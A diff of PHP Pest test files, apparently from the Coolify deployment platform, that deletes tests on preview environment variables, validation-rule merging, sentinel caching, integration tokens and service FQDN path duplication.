||||
expect($controller)
|
||||
->toContain('use Illuminate\\Support\\Facades\\Validator;')
|
||||
->toContain("Validator::make(\$body, \$config['rules'])")
|
||||
->not->toContain("customApiValidator(\$body, \$config['rules'])");
|
||||
});
|
||||
@@ -394,16 +394,6 @@ it('copies the parent domain port override onto a generated preview domain', fun
|
||||
->toBe([8080]);
|
||||
});
|
||||
|
||||
it('saves generated preview domains once in the application parser', function () {
|
||||
$parser = file_get_contents(base_path('bootstrap/helpers/parsers.php'));
|
||||
$previewGeneration = Str::of($parser)
|
||||
->after('// If the domain is set, we need to generate the FQDNs for the preview')
|
||||
->before('$defaultLabels = defaultLabels');
|
||||
|
||||
expect($previewGeneration->substrCount('$preview->save();'))->toBe(1)
|
||||
->and((string) $previewGeneration)->toContain('$preview->fqdn = $fqdns->implode(\',\');');
|
||||
});
|
||||
|
||||
it('keeps every generated preview domain port override in the legacy compose parser', function () {
|
||||
$this->application->update([
|
||||
'build_pack' => 'dockercompose',
|
||||
|
||||
@@ -27,182 +27,6 @@ beforeEach(function () {
|
||||
$this->actingAs($this->user);
|
||||
});
|
||||
|
||||
/**
|
||||
* Simulate the preview .env generation logic from
|
||||
* ApplicationDeploymentJob::generate_runtime_environment_variables()
|
||||
* including the production fallback fix.
|
||||
*/
|
||||
function simulatePreviewEnvGeneration(Application $application): \Illuminate\Support\Collection
|
||||
{
|
||||
$sorted_environment_variables = $application->environment_variables->sortBy('id');
|
||||
$sorted_environment_variables_preview = $application->environment_variables_preview->sortBy('id');
|
||||
|
||||
$envs = collect([]);
|
||||
|
||||
// Preview vars
|
||||
$runtime_environment_variables_preview = $sorted_environment_variables_preview->filter(fn ($env) => $env->is_runtime);
|
||||
foreach ($runtime_environment_variables_preview as $env) {
|
||||
$envs->push($env->key.'='.$env->real_value);
|
||||
}
|
||||
|
||||
// Fallback: production vars not overridden by preview,
|
||||
// only when preview vars are configured
|
||||
if ($runtime_environment_variables_preview->isNotEmpty()) {
|
||||
$previewKeys = $runtime_environment_variables_preview->pluck('key')->toArray();
|
||||
$fallback_production_vars = $sorted_environment_variables->filter(function ($env) use ($previewKeys) {
|
||||
return $env->is_runtime && ! in_array($env->key, $previewKeys);
|
||||
});
|
||||
foreach ($fallback_production_vars as $env) {
|
||||
$envs->push($env->key.'='.$env->real_value);
|
||||
}
|
||||
}
|
||||
|
||||
return $envs;
|
||||
}
|
||||
|
||||
test('production vars fall back when preview vars exist but do not cover all keys', function () {
|
||||
// Create two production vars (booted hook auto-creates preview copies)
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'DB_PASSWORD',
|
||||
'value' => 'secret123',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'APP_KEY',
|
||||
'value' => 'app_key_value',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Delete only the DB_PASSWORD preview copy — APP_KEY preview copy remains
|
||||
$this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->delete();
|
||||
$this->application->refresh();
|
||||
|
||||
// Preview has APP_KEY but not DB_PASSWORD
|
||||
expect($this->application->environment_variables_preview()->where('key', 'APP_KEY')->count())->toBe(1);
|
||||
expect($this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->count())->toBe(0);
|
||||
|
||||
$envs = simulatePreviewEnvGeneration($this->application);
|
||||
|
||||
$envString = $envs->implode("\n");
|
||||
// DB_PASSWORD should fall back from production
|
||||
expect($envString)->toContain('DB_PASSWORD=');
|
||||
// APP_KEY should use the preview value
|
||||
expect($envString)->toContain('APP_KEY=');
|
||||
});
|
||||
|
||||
test('no fallback when no preview vars are configured at all', function () {
|
||||
// Create a production-only var (booted hook auto-creates preview copy)
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'DB_PASSWORD',
|
||||
'value' => 'secret123',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Delete ALL preview copies — simulates no preview config
|
||||
$this->application->environment_variables_preview()->delete();
|
||||
$this->application->refresh();
|
||||
|
||||
expect($this->application->environment_variables_preview()->count())->toBe(0);
|
||||
|
||||
$envs = simulatePreviewEnvGeneration($this->application);
|
||||
|
||||
$envString = $envs->implode("\n");
|
||||
// Should NOT fall back to production when no preview vars exist
|
||||
expect($envString)->not->toContain('DB_PASSWORD=');
|
||||
});
|
||||
|
||||
test('preview var overrides production var when both exist', function () {
|
||||
// Create production var (auto-creates preview copy)
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'DB_PASSWORD',
|
||||
'value' => 'prod_password',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Update the auto-created preview copy with a different value
|
||||
$this->application->environment_variables_preview()
|
||||
->where('key', 'DB_PASSWORD')
|
||||
->update(['value' => encrypt('preview_password')]);
|
||||
|
||||
$this->application->refresh();
|
||||
$envs = simulatePreviewEnvGeneration($this->application);
|
||||
|
||||
// Should contain preview value only, not production
|
||||
$envEntries = $envs->filter(fn ($e) => str_starts_with($e, 'DB_PASSWORD='));
|
||||
expect($envEntries)->toHaveCount(1);
|
||||
expect($envEntries->first())->toContain('preview_password');
|
||||
});
|
||||
|
||||
test('preview-only var works without production counterpart', function () {
|
||||
// Create a preview-only var directly (no production counterpart)
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'PREVIEW_ONLY_VAR',
|
||||
'value' => 'preview_value',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
$this->application->refresh();
|
||||
$envs = simulatePreviewEnvGeneration($this->application);
|
||||
|
||||
$envString = $envs->implode("\n");
|
||||
expect($envString)->toContain('PREVIEW_ONLY_VAR=');
|
||||
});
|
||||
|
||||
test('buildtime-only production vars are not included in preview fallback', function () {
|
||||
// Create a runtime preview var so fallback is active
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'SOME_PREVIEW_VAR',
|
||||
'value' => 'preview_value',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Create a buildtime-only production var
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'BUILD_SECRET',
|
||||
'value' => 'build_only',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => false,
|
||||
'is_buildtime' => true,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Delete the auto-created preview copy of BUILD_SECRET
|
||||
$this->application->environment_variables_preview()->where('key', 'BUILD_SECRET')->delete();
|
||||
$this->application->refresh();
|
||||
|
||||
$envs = simulatePreviewEnvGeneration($this->application);
|
||||
|
||||
$envString = $envs->implode("\n");
|
||||
expect($envString)->not->toContain('BUILD_SECRET');
|
||||
expect($envString)->toContain('SOME_PREVIEW_VAR=');
|
||||
});
|
||||
|
||||
test('preview env var inherits is_runtime and is_buildtime from production var', function () {
|
||||
// Create production var WITH explicit flags
|
||||
EnvironmentVariable::create([
|
||||
|
||||
@@ -5,9 +5,6 @@ it('gates Traefik ACME certificate deletion behind update authorization', functi
|
||||
$component = file_get_contents(app_path('Livewire/Server/Proxy.php'));
|
||||
|
||||
expect($view)
|
||||
->toContain('TLS certificates')
|
||||
->toContain('Traefik requests a new certificate after the restart')
|
||||
->toContain('wire:click="loadTraefikCertificates"')
|
||||
->toContain('submitAction="deleteTraefikCertificate')
|
||||
->toContain("@can('update', \$server)")
|
||||
->and($component)
|
||||
|
||||
@@ -215,11 +215,6 @@ describe('security UI audit logging', function () {
|
||||
Livewire::test(CloudInitScripts::class)
|
||||
->call('deleteScript', $script->id);
|
||||
});
|
||||
|
||||
test('cloud provider token form does not contain debug ray calls', function () {
|
||||
expect(file_get_contents(app_path('Livewire/Security/CloudProviderTokenForm.php')))
|
||||
->not->toContain('ray'.'(');
|
||||
});
|
||||
});
|
||||
|
||||
describe('webhook signature failure logging', function () {
|
||||
|
||||
@@ -382,25 +382,6 @@ describe('deployment git command escaping', function () {
|
||||
});
|
||||
});
|
||||
|
||||
describe('sharedDataApplications rules survive array_merge in controller', function () {
|
||||
test('docker_compose_location safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
// Simulate what ApplicationsController does: array_merge(shared, local)
|
||||
// After our fix, local no longer contains docker_compose_location,
|
||||
// so the shared regex rule must survive
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
// The merged rules for docker_compose_location should be the safe regex, not just 'string'
|
||||
expect($merged['docker_compose_location'])->toBeArray();
|
||||
expect($merged['docker_compose_location'])->toContain('regex:'.ValidationPatterns::FILE_PATH_PATTERN);
|
||||
});
|
||||
});
|
||||
|
||||
describe('path fields require leading slash', function () {
|
||||
test('dockerfile_location without leading slash is rejected by API rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
@@ -877,54 +858,6 @@ describe('container name validation', function () {
|
||||
});
|
||||
});
|
||||
|
||||
describe('dockerfile_target_build rules survive array_merge in controller', function () {
|
||||
test('dockerfile_target_build safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
// Simulate what ApplicationsController does: array_merge(shared, local)
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged)->toHaveKey('dockerfile_target_build');
|
||||
expect($merged['dockerfile_target_build'])->toBeArray();
|
||||
expect($merged['dockerfile_target_build'])->toContain('regex:'.ValidationPatterns::DOCKER_TARGET_PATTERN);
|
||||
});
|
||||
});
|
||||
|
||||
describe('docker_compose_custom_command rules survive array_merge in controller', function () {
|
||||
test('docker_compose_custom_start_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
// Simulate what ApplicationsController does: array_merge(shared, local)
|
||||
// After our fix, local no longer contains docker_compose_custom_start_command,
|
||||
// so the shared regex rule must survive
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['docker_compose_custom_start_command'])->toBeArray();
|
||||
expect($merged['docker_compose_custom_start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
|
||||
test('docker_compose_custom_build_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['docker_compose_custom_build_command'])->toBeArray();
|
||||
expect($merged['docker_compose_custom_build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
});
|
||||
|
||||
describe('API route middleware for deploy actions', function () {
|
||||
test('application start route requires deploy ability', function () {
|
||||
$routes = app('router')->getRoutes();
|
||||
@@ -1034,14 +967,6 @@ describe('service application lifecycle command escaping', function () {
|
||||
->and($source)->toContain('docker logs -n 100 {$escapedContainerName}')
|
||||
->and($source)->toContain('dockerStopCommand($timeout, escapeshellarg($containerName), $this->server)');
|
||||
});
|
||||
|
||||
test('service application logs endpoint passes raw container name to docker helpers', function () {
|
||||
$source = file_get_contents(app_path('Http/Controllers/Api/ServiceApplicationsController.php'));
|
||||
|
||||
expect($source)->toContain('getContainerStatus($server, $containerName)')
|
||||
->and($source)->toContain('getContainerLogs($server, $containerName, $lines)')
|
||||
->and($source)->not->toContain('$safeContainerName = escapeshellarg($containerName)');
|
||||
});
|
||||
});
|
||||
|
||||
describe('install/build/start command validation', function () {
|
||||
@@ -1185,47 +1110,6 @@ describe('install/build/start command validation', function () {
|
||||
})->with(['install_command', 'build_command', 'start_command']);
|
||||
});
|
||||
|
||||
describe('install/build/start command rules survive array_merge in controller', function () {
|
||||
test('install_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['install_command'])->toBeArray();
|
||||
expect($merged['install_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
|
||||
test('build_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['build_command'])->toBeArray();
|
||||
expect($merged['build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
|
||||
test('start_command safe regex is not overridden by local rules', function () {
|
||||
$sharedRules = sharedDataApplications();
|
||||
|
||||
$localRules = [
|
||||
'name' => 'string|max:255',
|
||||
'docker_compose_domains' => 'array|nullable',
|
||||
];
|
||||
$merged = array_merge($sharedRules, $localRules);
|
||||
|
||||
expect($merged['start_command'])->toBeArray();
|
||||
expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN);
|
||||
});
|
||||
});
|
||||
|
||||
describe('git_branch validation rules survive array_merge in controller', function () {
|
||||
test('git_branch uses ValidGitBranch in shared application rules', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
@@ -153,14 +153,6 @@ test('at least one capability is required when adding a cloudflare token', funct
|
||||
Http::assertNothingSent();
|
||||
});
|
||||
|
||||
test('provider validation uses the provider names declared by the model', function () {
|
||||
$component = file_get_contents(app_path('Livewire/Security/IntegrationTokenForm.php'));
|
||||
|
||||
expect($component)
|
||||
->toContain("implode(',', array_keys(IntegrationToken::PROVIDER_NAMES))")
|
||||
->not->toContain('in:cloudflare,doppler,infisical,vault');
|
||||
});
|
||||
|
||||
test('integration tokens page lists saved provider and capabilities', function () {
|
||||
IntegrationToken::query()->create([
|
||||
'team_id' => $this->team->id,
|
||||
@@ -308,15 +300,6 @@ test('an invalid replacement does not rotate the integration token', function ()
|
||||
expect($savedToken->fresh()->token)->toBe('original-token');
|
||||
});
|
||||
|
||||
test('editor updates its row without rerendering the teleported parent modal', function () {
|
||||
$component = file_get_contents(app_path('Livewire/Security/IntegrationTokenEditor.php'));
|
||||
|
||||
expect($component)
|
||||
->toContain("'integration-token-updated'")
|
||||
->toContain("'integration-token-deleted'")
|
||||
->not->toContain('integrationTokenChanged');
|
||||
});
|
||||
|
||||
test('new integration token form controls declare authorization matching server-side actions', function () {
|
||||
$editor = file_get_contents(resource_path('views/livewire/security/integration-token-editor.blade.php'));
|
||||
$form = file_get_contents(resource_path('views/livewire/security/integration-token-form.blade.php'));
|
||||
|
||||
@@ -156,16 +156,6 @@ it('rejects malformed sentinel payloads before touching server state', function
|
||||
'non-array containers' => [['containers' => 'not-an-array']],
|
||||
]);
|
||||
|
||||
it('guards the dedupe decision with a server scoped atomic cache lock', function () {
|
||||
$controller = file_get_contents(app_path('Http/Controllers/Api/SentinelController.php'));
|
||||
|
||||
expect($controller)
|
||||
->toContain('$lockKey = "sentinel:push-lock:{$server->id}";')
|
||||
->toContain('Cache::lock($lockKey, 10)->block(5, function () use ($hashKey, $forceKey, $hash): bool')
|
||||
->toContain('Cache::put($hashKey, $hash, now()->addDay())')
|
||||
->toContain("Cache::put(\$forceKey, true, config('constants.sentinel.push_force_interval_seconds', 300))");
|
||||
});
|
||||
|
||||
it('dispatches the job when container state changes', function () use ($running) {
|
||||
pushSentinel($this->token, sentinelPayload($running()))->assertOk();
|
||||
|
||||
|
||||
@@ -1,10 +0,0 @@
|
||||
<?php
|
||||
|
||||
test('server role migration keeps dedicated build servers and defaults other servers to both', function () {
|
||||
$migration = file_get_contents(base_path('database/migrations/2026_09_19_121840_add_server_role_to_server_settings_table.php'));
|
||||
|
||||
expect($migration)
|
||||
->toContain('->nullable()->default(ServerRole::BOTH->value)')
|
||||
->toContain("->where('is_build_server', true)")
|
||||
->toContain("->update(['server_role' => ServerRole::BUILD->value])");
|
||||
});
|
||||
@@ -1,220 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Feature tests to verify that FQDN updates don't cause path duplication
|
||||
* for services with path-based SERVICE_URL/SERVICE_FQDN template variables.
|
||||
*
|
||||
* This tests the fix for GitHub issue #7363 where Appwrite and MindsDB services
|
||||
* had their paths duplicated (e.g., /v1/realtime/v1/realtime) after FQDN updates.
|
||||
*
|
||||
* IMPORTANT: These tests require database access and must be run inside Docker:
|
||||
* docker exec coolify php artisan test --filter ServiceFqdnUpdatePathTest
|
||||
*/
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\ServiceApplication;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('Appwrite realtime service does not duplicate path on FQDN update', function () {
|
||||
// Create a server
|
||||
$server = Server::factory()->create([
|
||||
'name' => 'test-server',
|
||||
'ip' => '127.0.0.1',
|
||||
]);
|
||||
|
||||
// Load Appwrite template
|
||||
$appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml'));
|
||||
|
||||
// Create Appwrite service
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
'name' => 'appwrite-test',
|
||||
'docker_compose_raw' => $appwriteTemplate,
|
||||
]);
|
||||
|
||||
// Create the appwrite-realtime service application
|
||||
$serviceApp = ServiceApplication::factory()->create([
|
||||
'service_id' => $service->id,
|
||||
'name' => 'appwrite-realtime',
|
||||
'fqdn' => 'https://test.abc/v1/realtime',
|
||||
]);
|
||||
|
||||
// Parse the service (simulates initial setup)
|
||||
$service->parse();
|
||||
|
||||
// Get environment variable
|
||||
$urlVar = $service->environment_variables()
|
||||
->where('key', 'SERVICE_URL_APPWRITE')
|
||||
->first();
|
||||
|
||||
// Initial setup should have path once
|
||||
expect($urlVar)->not->toBeNull()
|
||||
->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime')
|
||||
->and($urlVar->value)->toContain('/v1/realtime');
|
||||
|
||||
// Simulate user updating FQDN
|
||||
$serviceApp->fqdn = 'https://newdomain.com/v1/realtime';
|
||||
$serviceApp->save();
|
||||
|
||||
// Call parse again (this is where the bug occurred)
|
||||
$service->parse();
|
||||
|
||||
// Check that path is not duplicated
|
||||
$urlVar = $service->environment_variables()
|
||||
->where('key', 'SERVICE_URL_APPWRITE')
|
||||
->first();
|
||||
|
||||
expect($urlVar)->not->toBeNull()
|
||||
->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime')
|
||||
->and($urlVar->value)->toContain('/v1/realtime');
|
||||
})->skip('Requires database and Appwrite template - run in Docker');
|
||||
|
||||
test('Appwrite console service does not duplicate /console path', function () {
|
||||
$server = Server::factory()->create();
|
||||
$appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml'));
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
'docker_compose_raw' => $appwriteTemplate,
|
||||
]);
|
||||
|
||||
$serviceApp = ServiceApplication::factory()->create([
|
||||
'service_id' => $service->id,
|
||||
'name' => 'appwrite-console',
|
||||
'fqdn' => 'https://test.abc/console',
|
||||
]);
|
||||
|
||||
// Parse service
|
||||
$service->parse();
|
||||
|
||||
// Update FQDN
|
||||
$serviceApp->fqdn = 'https://newdomain.com/console';
|
||||
$serviceApp->save();
|
||||
|
||||
// Parse again
|
||||
$service->parse();
|
||||
|
||||
// Verify no duplication
|
||||
$urlVar = $service->environment_variables()
|
||||
->where('key', 'SERVICE_URL_APPWRITE')
|
||||
->first();
|
||||
|
||||
expect($urlVar)->not->toBeNull()
|
||||
->and($urlVar->value)->not->toContain('/console/console')
|
||||
->and($urlVar->value)->toContain('/console');
|
||||
})->skip('Requires database and Appwrite template - run in Docker');
|
||||
|
||||
test('MindsDB service does not duplicate /api path', function () {
|
||||
$server = Server::factory()->create();
|
||||
$mindsdbTemplate = file_get_contents(base_path('templates/compose/mindsdb.yaml'));
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
'docker_compose_raw' => $mindsdbTemplate,
|
||||
]);
|
||||
|
||||
$serviceApp = ServiceApplication::factory()->create([
|
||||
'service_id' => $service->id,
|
||||
'name' => 'mindsdb',
|
||||
'fqdn' => 'https://test.abc/api',
|
||||
]);
|
||||
|
||||
// Parse service
|
||||
$service->parse();
|
||||
|
||||
// Update FQDN multiple times
|
||||
$serviceApp->fqdn = 'https://domain1.com/api';
|
||||
$serviceApp->save();
|
||||
$service->parse();
|
||||
|
||||
$serviceApp->fqdn = 'https://domain2.com/api';
|
||||
$serviceApp->save();
|
||||
$service->parse();
|
||||
|
||||
// Verify no duplication after multiple updates
|
||||
$urlVar = $service->environment_variables()
|
||||
->where('key', 'SERVICE_URL_API')
|
||||
->orWhere('key', 'LIKE', 'SERVICE_URL_%')
|
||||
->first();
|
||||
|
||||
expect($urlVar)->not->toBeNull()
|
||||
->and($urlVar->value)->not->toContain('/api/api');
|
||||
})->skip('Requires database and MindsDB template - run in Docker');
|
||||
|
||||
test('service without path declaration is not affected', function () {
|
||||
$server = Server::factory()->create();
|
||||
|
||||
// Create a simple service without path in template
|
||||
$simpleTemplate = <<<'YAML'
|
||||
services:
|
||||
redis:
|
||||
image: redis:7
|
||||
environment:
|
||||
- SERVICE_FQDN_REDIS
|
||||
YAML;
|
||||
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
'docker_compose_raw' => $simpleTemplate,
|
||||
]);
|
||||
|
||||
$serviceApp = ServiceApplication::factory()->create([
|
||||
'service_id' => $service->id,
|
||||
'name' => 'redis',
|
||||
'fqdn' => 'https://redis.test.abc',
|
||||
]);
|
||||
|
||||
// Parse service
|
||||
$service->parse();
|
||||
|
||||
$fqdnBefore = $service->environment_variables()
|
||||
->where('key', 'SERVICE_FQDN_REDIS')
|
||||
->first()?->value;
|
||||
|
||||
// Update FQDN
|
||||
$serviceApp->fqdn = 'https://redis.newdomain.com';
|
||||
$serviceApp->save();
|
||||
|
||||
// Parse again
|
||||
$service->parse();
|
||||
|
||||
$fqdnAfter = $service->environment_variables()
|
||||
->where('key', 'SERVICE_FQDN_REDIS')
|
||||
->first()?->value;
|
||||
|
||||
// Should work normally without issues
|
||||
expect($fqdnAfter)->toBe('redis.newdomain.com')
|
||||
->and($fqdnAfter)->not->toContain('//');
|
||||
})->skip('Requires database - run in Docker');
|
||||
|
||||
test('multiple FQDN updates never cause path duplication', function () {
|
||||
$server = Server::factory()->create();
|
||||
$appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml'));
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
'docker_compose_raw' => $appwriteTemplate,
|
||||
]);
|
||||
|
||||
$serviceApp = ServiceApplication::factory()->create([
|
||||
'service_id' => $service->id,
|
||||
'name' => 'appwrite-realtime',
|
||||
'fqdn' => 'https://test.abc/v1/realtime',
|
||||
]);
|
||||
|
||||
// Update FQDN 10 times and parse each time
|
||||
for ($i = 1; $i <= 10; $i++) {
|
||||
$serviceApp->fqdn = "https://domain{$i}.com/v1/realtime";
|
||||
$serviceApp->save();
|
||||
$service->parse();
|
||||
|
||||
// Check path is never duplicated
|
||||
$urlVar = $service->environment_variables()
|
||||
->where('key', 'SERVICE_URL_APPWRITE')
|
||||
->first();
|
||||
|
||||
expect($urlVar)->not->toBeNull()
|
||||
->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime')
|
||||
->and($urlVar->value)->toContain('/v1/realtime');
|
||||
}
|
||||
})->skip('Requires database and Appwrite template - run in Docker');
|
||||
@@ -1,14 +1,5 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Service\DatabaseBackups;
|
||||
|
||||
it('declares the database backup mount return type', function () {
|
||||
$returnType = (new ReflectionMethod(DatabaseBackups::class, 'mount'))->getReturnType();
|
||||
|
||||
expect($returnType)->not->toBeNull()
|
||||
->and($returnType->getName())->toBe('mixed');
|
||||
});
|
||||
|
||||
it('refreshes backup executions from backup broadcasts on the current team channel', function () {
|
||||
$serviceExecutions = file_get_contents(app_path('Livewire/Project/Service/BackupExecutions.php'));
|
||||
$serviceBackups = file_get_contents(app_path('Livewire/Project/Service/VolumeBackup/Index.php'));
|
||||
|
||||
@@ -1,171 +0,0 @@
|
||||
<?php
|
||||
|
||||
/**
|
||||
* Feature tests to verify that magic (referenced) SERVICE_URL_/SERVICE_FQDN_
|
||||
* variables do not overwrite values set by direct template declarations or updateCompose().
|
||||
*
|
||||
* This tests the fix for GitHub issue #8912 where generic SERVICE_URL and SERVICE_FQDN
|
||||
* variables remained stale after changing a service domain in the UI, while
|
||||
* port-specific variants updated correctly.
|
||||
*
|
||||
* Root cause: The magic variables section in serviceParser() used updateOrCreate()
|
||||
* which overwrote values from direct template declarations with auto-generated FQDNs.
|
||||
* Fix: Changed to firstOrCreate() so magic references don't overwrite existing values.
|
||||
*
|
||||
* IMPORTANT: These tests require database access and must be run inside Docker:
|
||||
* docker exec coolify php artisan test --filter ServiceMagicVariableOverwriteTest
|
||||
*/
|
||||
|
||||
use App\Models\Server;
|
||||
use App\Models\Service;
|
||||
use App\Models\ServiceApplication;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('generic SERVICE_URL/FQDN vars update after domain change when referenced by other services', function () {
|
||||
$server = Server::factory()->create([
|
||||
'name' => 'test-server',
|
||||
'ip' => '127.0.0.1',
|
||||
]);
|
||||
|
||||
// Compose template where:
|
||||
// - nginx directly declares SERVICE_FQDN_NGINX_8080 (Section 1)
|
||||
// - backend references ${SERVICE_URL_NGINX} and ${SERVICE_FQDN_NGINX} (Section 2 - magic)
|
||||
$template = <<<'YAML'
|
||||
services:
|
||||
nginx:
|
||||
image: nginx:latest
|
||||
environment:
|
||||
- SERVICE_FQDN_NGINX_8080
|
||||
ports:
|
||||
- "8080:80"
|
||||
backend:
|
||||
image: node:20-alpine
|
||||
environment:
|
||||
- PUBLIC_URL=${SERVICE_URL_NGINX}
|
||||
- PUBLIC_FQDN=${SERVICE_FQDN_NGINX}
|
||||
YAML;
|
||||
|
||||
$service = Service::factory()->create([
|
||||
'server_id' => $server->id,
|
||||
'name' => 'test-service',
|
||||
'docker_compose_raw' => $template,
|
||||
]);
|
||||
|
||||
$serviceApp = ServiceApplication::factory()->create([
|
||||
'service_id' => $service->id,
|
||||
'name' => 'nginx',
|
||||
'fqdn' => null,
|
||||
]);
|
||||
|
||||
// Initial parse - generates auto FQDNs
|
||||
$service->parse();
|
||||
|
||||
$baseUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX')->first();
|
||||
$baseFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX')->first();
|
||||
$portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX_8080')->first();
|
||||
$portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX_8080')->first();
|
||||
|
||||
// All four variables should exist after initial parse
|
||||
expect($baseUrl)->not->toBeNull('SERVICE_URL_NGINX should exist');
|
||||
expect($baseFqdn)->not->toBeNull('SERVICE_FQDN_NGINX should exist');
|
||||
expect($portUrl)->not->toBeNull('SERVICE_URL_NGINX_8080 should exist');
|
||||
expect($portFqdn)->not->toBeNull('SERVICE_FQDN_NGINX_8080 should exist');
|
||||
|
||||
// Now simulate user changing domain via UI (EditDomain::submit flow)
|
||||
$serviceApp->fqdn = 'https://my-nginx.example.com:8080';
|
||||
$serviceApp->save();
|
||||
|
||||
// updateCompose() runs first (sets correct values)
|
||||
updateCompose($serviceApp);
|
||||
|
||||
// Then parse() runs (should NOT overwrite the correct values)
|
||||
$service->parse();
|
||||
|
||||
// Reload all variables
|
||||
$baseUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX')->first();
|
||||
$baseFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX')->first();
|
||||
$portUrl = $service->environment_variables()->where('key', 'SERVICE_URL_NGINX_8080')->first();
|
||||
$portFqdn = $service->environment_variables()->where('key', 'SERVICE_FQDN_NGINX_8080')->first();
|
||||
|
||||
// ALL variables should reflect the custom domain
|
||||
expect($baseUrl->value)->toBe('https://my-nginx.example.com')
|
||||
->and($baseFqdn->value)->toBe('my-nginx.example.com')
|
||||
->and($portUrl->value)->toBe('https://my-nginx.example.com:8080')
|
||||
->and($portFqdn->value)->toBe('my-nginx.example.com:8080');
|
